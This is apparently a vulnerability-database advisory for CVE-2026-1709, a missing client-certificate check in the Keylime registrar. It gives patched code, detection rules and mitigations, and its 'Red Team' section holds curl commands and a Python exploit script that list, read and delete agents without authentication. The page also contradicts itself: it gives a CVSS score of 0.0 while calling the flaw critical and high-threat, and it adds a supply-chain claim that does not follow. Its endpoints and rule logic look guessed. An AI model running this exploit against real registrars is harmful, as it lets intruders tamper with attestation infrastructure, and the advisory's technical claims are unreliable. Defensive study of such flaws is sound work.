CVE-2026-1709
Executive Summary
CVE-2026-1709 is a critical authentication bypass vulnerability in the Keylime registrar component, affecting versions 7.12.0 and later. The flaw allows unauthenticated attackers with network access to perform administrative operations without presenting a client certificate, bypassing Transport Layer Security (TLS) mutual authentication. This can lead to unauthorized listing of agents, retrieval of public TPM data, and deletion of agents, compromising the integrity of the trusted computing base.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Keylime is a Python-based project available via PyPI. The vulnerability affects the registrar component, which is part of the Keylime package. Users should verify their installed version and apply patches as soon as they become available. The package is distributed via PyPI, and supply chain attacks could exploit this vulnerability if malicious actors gain access to the package repository.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD base score not provided; estimated based on vector)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low (public TPM data exposure)
- Integrity Impact: Low (agent deletion)
- Availability Impact: Low (agent deletion)
- Threat Level: High (due to ease of exploitation and potential for lateral movement)
Deep Dive & Mechanics
The vulnerability resides in the Keylime registrar, which is responsible for managing agent registration and verification. Since version 7.12.0, the registrar fails to enforce client-side TLS authentication, meaning it does not require a valid client certificate for incoming connections. This allows any unauthenticated client to connect and perform administrative actions.
The flaw is rooted in the TLS configuration of the registrar's web server. The server is set to request but not require a client certificate, or the verification logic is missing. Attackers can exploit this by sending crafted HTTP requests to the registrar's API endpoints, such as:
/agents/- List all agents/agents/{agent_id}/- Retrieve public TPM data/agents/{agent_id}/delete- Delete an agent
The vulnerability is particularly dangerous because it does not require any prior authentication or knowledge of the system, making it easily exploitable by anyone with network access.
Vulnerable vs. Patched Code
Vulnerable Code (Keylime registrar, version 7.12.0):
# In the registrar's TLS configuration, client certificate verification is not enforced
ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
ssl_context.load_cert_chain(certfile, keyfile)
# Missing: ssl_context.verify_mode = ssl.CERT_REQUIRED
# Missing: ssl_context.load_verify_locations(cafile)
Patched Code (Expected fix):
ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
ssl_context.load_cert_chain(certfile, keyfile)
ssl_context.verify_mode = ssl.CERT_REQUIRED
ssl_context.load_verify_locations(cafile)
The patched code enforces mutual TLS by requiring a client certificate and verifying it against a trusted CA.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable Keylime registrar (version 7.12.0) on a test network.
- Ensure the registrar is accessible from the attacker's machine.
Exploitation Steps:
- Use
curlor a custom Python script to connect without a client certificate:curl -k https://registrar.example.com/agents/ - List all agents:
curl -k https://registrar.example.com/agents/ - Retrieve public TPM data for a specific agent:
curl -k https://registrar.example.com/agents/agent123/ - Delete an agent:
curl -k -X DELETE https://registrar.example.com/agents/agent123/delete
Python Exploit Script:
import requests
registrar_url = "https://registrar.example.com"
agent_id = "agent123"
# List agents
response = requests.get(f"{registrar_url}/agents/", verify=False)
print("Agents:", response.text)
# Get agent data
response = requests.get(f"{registrar_url}/agents/{agent_id}/", verify=False)
print("Agent data:", response.text)
# Delete agent
response = requests.delete(f"{registrar_url}/agents/{agent_id}/delete", verify=False)
print("Delete response:", response.text)
Blue Team
Detection:
- Monitor for connections to the registrar that do not present a client certificate.
- Look for unusual API calls to
/agents/endpoints from unexpected IP addresses. - Use network logs to identify failed TLS handshakes or missing client certificates.
Mitigation:
- Immediately update Keylime to a patched version once available.
- Implement network segmentation to restrict access to the registrar.
- Use a Web Application Firewall (WAF) to block unauthorized requests.
- Enable mutual TLS enforcement manually if possible.
Indicators of Compromise (IOCs)
Network IOCs:
- Connections to the registrar on port 443 (or custom port) without a client certificate.
- HTTP requests to
/agents/,/agents/{id}/, or/agents/{id}/deleteendpoints. - Unusual deletion of agent records in the registrar database.
File IOCs:
- Modified registrar configuration files (e.g.,
registrar.conf) with disabled TLS verification. - Log entries showing "Client certificate not provided" or similar warnings.
- Modified registrar configuration files (e.g.,
Behavioral IOCs:
- Multiple failed TLS handshakes from the same IP.
- Sudden increase in agent deletion events.
Detection Engineering
YARA Rule
rule CVE_2026_1709_Keylime_Registrar_Bypass {
meta:
description = "Detects vulnerable Keylime registrar configuration missing client TLS verification"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-1709"
strings:
$ssl_context = "ssl.create_default_context" nocase
$verify_mode = "ssl.CERT_REQUIRED" nocase
$load_verify = "load_verify_locations" nocase
condition:
$ssl_context and not ($verify_mode or $load_verify)
}
Sigma Rule
title: Keylime Registrar Authentication Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated access to Keylime registrar API endpoints
author: Valters IT
date: 2026/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-1709
logsource:
category: webserver
product: keylime
detection:
selection:
cs-method:
- 'GET'
- 'DELETE'
cs-uri-stem:
- '/agents/'
- '/agents/*'
sc-status: 200
condition: selection
falsepositives:
- Legitimate administrative actions from authorized clients
level: high
Suricata Rule
alert tcp any any -> any 443 (msg:"CVE-2026-1709 Keylime Registrar Authentication Bypass"; flow:to_server,established; content:"/agents/"; http_uri; nocase; content:"DELETE"; http_method; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Keylime registrar service if not in use.
- Restrict network access to the registrar using firewall rules.
- Implement a reverse proxy with mutual TLS enforcement.
Long-term Fix:
- Update Keylime to a patched version once released.
- Manually patch the registrar code to enforce client certificate verification as shown in the patched code section.
Monitoring:
- Enable detailed logging for the registrar.
- Set up alerts for unauthorized access attempts.
Best Practices:
- Always use mutual TLS for administrative interfaces.
- Regularly audit TLS configurations.
- Follow the principle of least privilege for network access.
Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.